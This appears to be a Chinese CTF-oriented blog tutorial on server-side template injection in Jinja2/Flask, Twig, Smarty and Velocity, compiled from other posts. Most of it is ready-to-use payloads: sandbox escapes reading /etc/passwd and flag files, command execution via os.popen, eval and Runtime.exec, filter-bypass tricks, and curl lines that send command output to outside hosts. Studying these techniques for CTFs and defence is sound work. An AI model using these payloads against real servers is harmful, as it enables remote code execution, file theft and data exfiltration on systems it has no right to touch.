SSTI模板注入详解
SSTI模板注入
SSTI简介
SSTI就是服务器模板注入
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
SSTI原理
模板是什么
模板引擎(特指web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,他可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎会提供一套生成HTML
代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端HTML
页面,然后反馈给浏览器,呈现在用户面前。
它可以理解为一段固定好格式,等着你来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。
漏洞成因
ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
模板注入基本原理
如果用户输入作为模板当中变量的值,模板引擎一般会对用户输入进行编码转义,不容易造成XSS攻击
1 | <?php |
1 | 这段代码输入<script>alert(1)</script>会原样输出,因为进行了HTML实体编码 |
但是如果用户输入作为了模板内容的一部分,用户输入会原样输出
1 | <?php |
1 | 这段代码输入<script>alert(1)</script>会造成XSS漏洞。 |
不同的模板会有不同的语法,一般使用Detect-Identify-Expoit的利用流程。
SSTI中python的知识
python-flask模板
Python-Flask使用Jinja2作为渲染引擎 (Jinja2.10.x Documention)
jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
在jinja2中,存在三种语法
1 | {% %} 用来声明变量 |
jinja2 模板中使用 {{}}
语法表示一个变量,它是一种特殊的占位符。当利用 jinja2 进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2 支持python中所有的Python数据类型比如列表、字段、对象等
jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。
被两个括号包裹的内容会输出其表达式的值
python中的一些 Magic Method
在Python中,所有以“”双下划线包起来的方法,都统称为“Magic Method”,中文称『魔术方法』,例如类的初始化方法 init__
- dict:保存类实例或对象实例的属性变量键值对字典
- class:返回调用的参数类型
- mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析
- bases:返回类型列表
- subclasses:返回object的子类
- init:类的初始化方法
- globals:函数会以字典类型返回当前位置的全部变量与 func_globals 等价
一些做SSTI类题目时常用的属性
1 | __class__:用于获取当前对象所对应的类 |
一切类都继承自Object,所以都可以获取到Object类
1 | //获取对象类 |
1 | //基类 |
1 | //返回子类 |
这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类
存在的子模块可以通过 .index() 来进行查询,如果存在的话返回索引,直接调用即可。
SSTI漏洞的检测
发送类似下面的payload,不同模板语法有一些差异
1 | smarty=Hello ${7*7} |
检测到模板注入漏洞后,需要准确识别模板引擎的类型。Burpsuite 自带检测功能,并对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:
漏洞利用
python沙盒逃逸
config
1
{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag
self
1
2{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config“”、[]、()等数据结构
1
2主要目的是配合__class__.__mro__[2]这样找到object类
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)
例如:
1
2
3
4
5{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
文件读取
1 | #获取''字符串的所属对象 |
现在只需要从这些类中寻找需要的类,用数组下标获取,然后执行该类中想要执行的函数即可。比如第41个类是file类,就可以构造利用
1 | ''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read() |
将 .read() 换为 .write() 就可以写文件
再比如,如果没有file类,使用类<class '_frozen_importlib_external.FileLoader'>
,可以进行文件的读取。这里是第91个类。
1 | ''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>") |
自己需要的类是需要自己找的,之前自己复现一道题的时候,用别人写的payload一直不行,然后发现这个不是自己想要用的那个类,当时也不知道为什么就浪费了很多时间。
还有可以利用 builtins 来读文件
Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__'] |
这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能:
1 | ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('<File_To_Read>').read() |
将 .read() 改为 .write() 写文件
命令执行
os模块提供了非常丰富的方法用来处理文件和目录
例如 popen , system 都可以执行命令
利用 eval 进行命令执行
1
2
3''.__class__.__mro__[2].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}利用 warnings.catch_warnings 进行命令执行
首先查看 warnings.catch_warnings 方法的位置:
1
[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
查看 linecatch 的位置:
1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
查找 os 模块的位置:
1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
查找 system 方法的位置:
1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
调用 system 方法:
1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
利用 commands 进行命令执行
1
2
3{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
注意: subclasses ()[59]中的[59]是子类的位置,由于环境的不同类的位置也不同
循环语句
当不确定调用方法的位置时可以跑循环并利用
os
利用os执行命令: 利用for循环找到,os._wrap_close类
1 | {%for i in ''.__class__.__base__.__subclasses__()%} |
builtins
利用builtins执行命令: 利用for循环找到,os.catch_warnings类
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
基础payload
1 | 获得基类 |
Waf绕过
过滤[]
getitem()
这个东西可以输出序列属性中的某个索引处的元素,如:
1
2"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)这两个是等价的
.pop()绕过
可以返回指定序列属性中的某个索引处的元素或指定字典属性某个键对应的值,如下:
1
2{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性但是这个要慎用,因为在 python 中 .pop() 会删除相应位置的值,在列表里就是默认输出最后一个元素并将其删除。
过滤了引号
先获取chr函数,赋值给chr,后面拼接字符串就好了:
1
2
3
4
5
6
7
8
9#chr函数
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}} #request对象
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
#命令执行
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id借助request对象(推荐):
request.args
是flask中的一个属性,为返回请求的参数,这里把path
当作变量名,将后面的路径传值进来,进而绕过了引号的过滤1
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
将其中的
request.args
改为request.values
则利用post的方式进行传参1
2
3url+={{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}
POST:
path=/etc/passwd将其中的
request.args
改为request.cookie
则利用post,cookie的方式进行传参1
2
3url+={{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.cookie.path).read() }}
POST:
Cookie:path=/etc/passwd执行命令
1
2
3{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
过滤下划线
1
2
3利用request.args属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参过滤
{{}}
使用
{% if ... %}1{% endif %}
,例如1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / | grep flag`;') %}1{% endif %}
利用
{% %}
标记1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
相当于盲命令执行,利用curl将执行结果带出来
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来
1
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}
过滤os
1
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
字符串拼接
__getattribute__
使用实例访问属性时,调用该方法1
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
“ ’ chr等被过滤,无法引入字符串
直接拼接键名
1
dict(buil=aa,tins=dd)|join()
利用
string
、pop
、list
、slice
、first
等过滤器从已有变量里面直接找1
(app.__doc__|list()).pop(102)|string()
构造出
%
和c
后,用格式化字符串代替chr
1
2{%set udl=dict(a=pc,c=c).values()|join %} # uld=%c
{%set i1=dict(a=i1,c=udl%(99)).values()|join %}
+等被过滤,无法拼接字符串
~
在jinja中可以拼接字符串格式化字符串
python的字符串格式化允许指定ascii码为字符
1
2>>>'{0:c}'.format(98)
'b'如果放到flask里,就可以改写成
1
"{0:c}"["format][98]
例如
1
2
3__class__
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}
//+号要编码
base64编码绕过
__getattribute__
使用实例访问属性时,调用该方法1
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
无回显带出
当界面无回显时可以考虑带出
curl
1
2
3dnslog带出
http://www.dnslog.cn/
curl whoami.xxxxxx1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xxxx:4000/ -d `ls /|base64`') %}1{% endif %}
11.payload:
python2
1
2
3
4
5
6{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}python3
1
2
3{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
PHP中的SSTI
php常见的模板:twig,smarty,blade
Twig
Twig是来自于Symfony的模板引擎,非常易于安装和使用。它的操作有点像Mustache和liquid
文件读取
1 | {{'/etc/passwd'|file_excerpt(1,30)}} |
RCE
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
Smarty
Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在一个 disable_function)
但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的方法。
1 | {self::getStreamVariable("file:///etc/passwd")} |
常规利用方式
{$smarty.version}
1
{$smarty.version} #获取smarty的版本号
{php}{/php}
1
{php}phpinfo();{/php} #执行相应的php代码
{literal}
1
<script language="php">phpinfo();</script>
这种写法只适用于 php5 环境
getstreamvariable
1
{self::getStreamVariable("file:///etc/passwd")}
{if}{/if}
1
{if phpinfo()}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}
Java 中的SSTI
基本语法
语句标识符
#用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。
变量
$用来标识一个变量,比如模板文件中为Hello a , 可 以 获 取 通 过 上 下 文 传 递 的 a,可以获取通过上下文传递的 a,可以获取通过上下文传递的a
基础使用
使用Velocity主要流程为:
- 初始化Velocity模板引擎,包括模板路径、加载类型等
- 创建用于存储预传递到模板文件的数据的上下文
- 选择具体的模板文件,传递数据完成渲染
通过 VelocityEngine 创建模板引擎,接着 velocityEngine.setProperty 设置模板路径 src/main/resources、加载器类型为file,最后通过 velocityEngine.init() 完成引擎初始化。
通过 VelocityContext() 创建上下文变量,通过put添加模板中使用的变量到上下文。
通过 getTemplate 选择路径中具体的模板文件test.vm,创建 StringWriter 对象存储渲染结果,然后将上下文变量传入 template.merge 进行渲染。
1 | http://127.0.0.1:8080/ssti/velocity?template=%23set(%24e=%22e%22);%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() //延迟了5秒 |
工具
Tplmap
https://github.com/epinna/tplmap
特别鸣谢
这边感谢一下几位up,综合了他们的文章
CSDN博主「天猫来下凡」
原文链接:https://blog.csdn.net/huangyongkang666/article/details/123628875
CSDN博主「璀璨星☆空﹌」
原文链接:https://blog.csdn.net/qq_48904485/article/details/123653544
博主 bmjoker 原文链接: https://www.cnblogs.com/bmjoker/p/13508538.html